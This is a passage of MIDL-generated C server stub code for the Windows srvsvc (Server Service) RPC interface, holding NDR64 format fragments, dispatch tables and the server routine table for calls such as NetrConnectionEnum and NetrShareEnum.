0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag51,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag25,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag16_t __midl_frag16 =\n{ \n/* _CONNECT_ENUM_STRUCT */\n    { \n    /* _CONNECT_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _CONNECT_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag17\n        },\n        { \n        /* _CONNECT_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag15_t __midl_frag15 =\n{ \n/* *_CONNECT_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag16\n};\n\nstatic const __midl_frag10_t __midl_frag10 =\n{ \n/* NetrConnectionEnum */\n    { \n    /* NetrConnectionEnum */      /* procedure NetrConnectionEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Qualifier */      /* parameter Qualifier */\n        &__midl_frag733,\n        { \n        /* Qualifier */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag16,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag9_t __midl_frag9 =\n{ \n/* Opnum7NotUsedOnWire */\n    { \n    /* Opnum7NotUsedOnWire */      /* procedure Opnum7NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef srvsvc_Ndr64ProcTable[] =\n    {\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag10,\n    &__midl_frag40,\n    &__midl_frag72,\n    &__midl_frag83,\n    &__midl_frag88,\n    &__midl_frag159,\n    &__midl_frag167,\n    &__midl_frag231,\n    &__midl_frag275,\n    &__midl_frag295,\n    &__midl_frag324,\n    &__midl_frag324,\n    &__midl_frag331,\n    &__midl_frag339,\n    &__midl_frag465,\n    &__midl_frag526,\n    &__midl_frag545,\n    &__midl_frag627,\n    &__midl_frag569,\n    &__midl_frag627,\n    &__midl_frag633,\n    &__midl_frag640,\n    &__midl_frag641,\n    &__midl_frag650,\n    &__midl_frag697,\n    &__midl_frag676,\n    &__midl_frag684,\n    &__midl_frag697,\n    &__midl_frag707,\n    &__midl_frag717,\n    &__midl_frag726,\n    &__midl_frag730,\n    &__midl_frag746,\n    &__midl_frag756,\n    &__midl_frag807,\n    &__midl_frag765,\n    &__midl_frag771,\n    &__midl_frag792,\n    &__midl_frag799,\n    &__midl_frag807,\n    &__midl_frag808,\n    &__midl_frag821,\n    &__midl_frag829,\n    &__midl_frag836,\n    &__midl_frag851,\n    &__midl_frag863,\n    &__midl_frag902,\n    &__midl_frag884,\n    &__midl_frag902,\n    &__midl_frag911\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC srvsvc_StubDesc = \n    {\n    (void *)& srvsvc___RpcServerInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    0,\n    RundownRoutines,\n    0,\n    0,\n    0,\n    ms2Dsrvsvc__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& srvsvc_ServerInfo,   /* proxy/server info */\n    0\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const RPC_DISPATCH_FUNCTION srvsvc_NDR64__table[] =\n    {\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE srvsvc_NDR64__v3_0_DispatchTable = \n    {\n    58,\n    (RPC_DISPATCH_FUNCTION*)srvsvc_NDR64__table\n    };\n\nstatic const MIDL_SYNTAX_INFO srvsvc_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&srvsvc_v3_0_DispatchTable,\n    ms2Dsrvsvc__MIDL_ProcFormatString.Format,\n    srvsvc_FormatStringOffsetTable,\n    ms2Dsrvsvc__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    (RPC_DISPATCH_TABLE*)&srvsvc_NDR64__v3_0_DispatchTable,\n    0 ,\n    (unsigned short *) srvsvc_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\n\nstatic const SERVER_ROUTINE srvsvc_ServerRoutineTable[] = \n    {\n    (SERVER_ROUTINE)Opnum0NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum1NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum2NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum3NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum4NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum5NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum6NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum7NotUsedOnWire,\n    (SERVER_ROUTINE)NetrConnectionEnum,\n    (SERVER_ROUTINE)NetrFileEnum,\n    (SERVER_ROUTINE)NetrFileGetInfo,\n    (SERVER_ROUTINE)NetrFileClose,\n    (SERVER_ROUTINE)NetrSessionEnum,\n    (SERVER_ROUTINE)NetrSessionDel,\n    (SERVER_ROUTINE)NetrShareAdd,\n    (SERVER_ROUTINE)NetrShareEnum,\n    (SERVER_ROUTINE)NetrShareGetInfo,\n    (SERVER_ROUTINE)NetrShareSetInfo,\n    (SERVER_ROUTINE)NetrShareDel,\n    (SERVER_ROUTINE)NetrShareDelSticky,\n    (SERVER_ROUTINE)NetrShareCheck,\n    (SERVER_ROUTINE)NetrServerGetInfo,\n    (SERVER_ROUTINE)NetrServerSetInfo,\n    (SERVER_ROUTINE)NetrServerDiskEnum,\n    (SERVER_ROUTINE)NetrServerStatisticsGet,\n    (SERVER_ROUTINE)NetrServerTransportAdd,\n    (SERVER_ROUTINE)NetrServerTransportEnum,\n    (SERVER_ROUTINE)NetrServerTransportDel,\n    (SERVER_ROUTINE)NetrRemoteTOD,\n    (SERVER_ROUTINE)Opnum29NotUsedOnWire,\n    (SERVER_ROUTINE)NetprPathType,\n    (SERVER_ROUTINE)NetprPathCanonicalize,\n    (SERVER_ROUTINE)NetprPathCompare,\n    (SERVER_ROUTINE)NetprNameValidate,\n    (SERVER_ROUTINE)NetprNameCanonicalize,\n    (SERVER_ROUTINE)NetprNameCompare,\n    (SERVER_ROUTINE)NetrShareEnumSticky,\n    (SERVER_ROUTINE)NetrShareDelStart,\n    (SERVER_ROUTINE)NetrShareDelCommit,\n    (SERVER_ROUTINE)NetrpGetFileSecurity,\n    (SERVER_ROUTINE)NetrpSetFileSecurity,\n    (SERVER_ROUTINE)NetrServerTransportAddEx,\n    (SERVER_ROUTINE)Opnum42NotUsedOnWire,\n    (SERVER_ROUTINE)NetrDfsGetVersion,\n    (SERVER_ROUTINE)NetrDfsCreateLocalPartition,\n    (SERVER_ROUTINE)NetrDfsDeleteLocalPartition,\n    (SERVER_ROUTINE)NetrDfsSetLocalVolumeState,\n    (SERVER_ROUTINE)Opnum47NotUsedOnWire,\n    (SERVER_ROUTINE)NetrDfsCreateExitPoint,\n    (SERVER_ROUTINE)NetrDfsDeleteExitPoint,\n    (SERVER_ROUTINE)NetrDfsModifyPrefix,\n    (SERVER_ROUTINE)NetrDfsFixLocalVolume,\n    (SERVER_ROUTINE)NetrDfsManagerReportSiteInfo,\n    (SERVER_ROUTINE)NetrServerTransportDelEx,\n    (SERVER_ROUTINE)NetrServerAliasAdd,\n    (SERVER_ROUTINE)NetrServerAliasEnum,\n    (SERVER_ROUTINE)NetrServerAliasDel,\n    (SERVER_ROUTINE)NetrShareDelEx\n    };\n\nstatic const MIDL_SERVER_INFO srvsvc_ServerInfo = \n    {\n    &srvsvc_StubDesc,\n    srvsvc_ServerRoutineTable,\n    ms2Dsrvsvc__MIDL_ProcFormatString.Format,\n    (unsigned short *) srvsvc_FormatStringOffsetTable,\n    0,\n    (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0,\n    2,\n    (MIDL_SYNTAX_INFO*)srvsvc_SyntaxInfo\n    };\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  }
]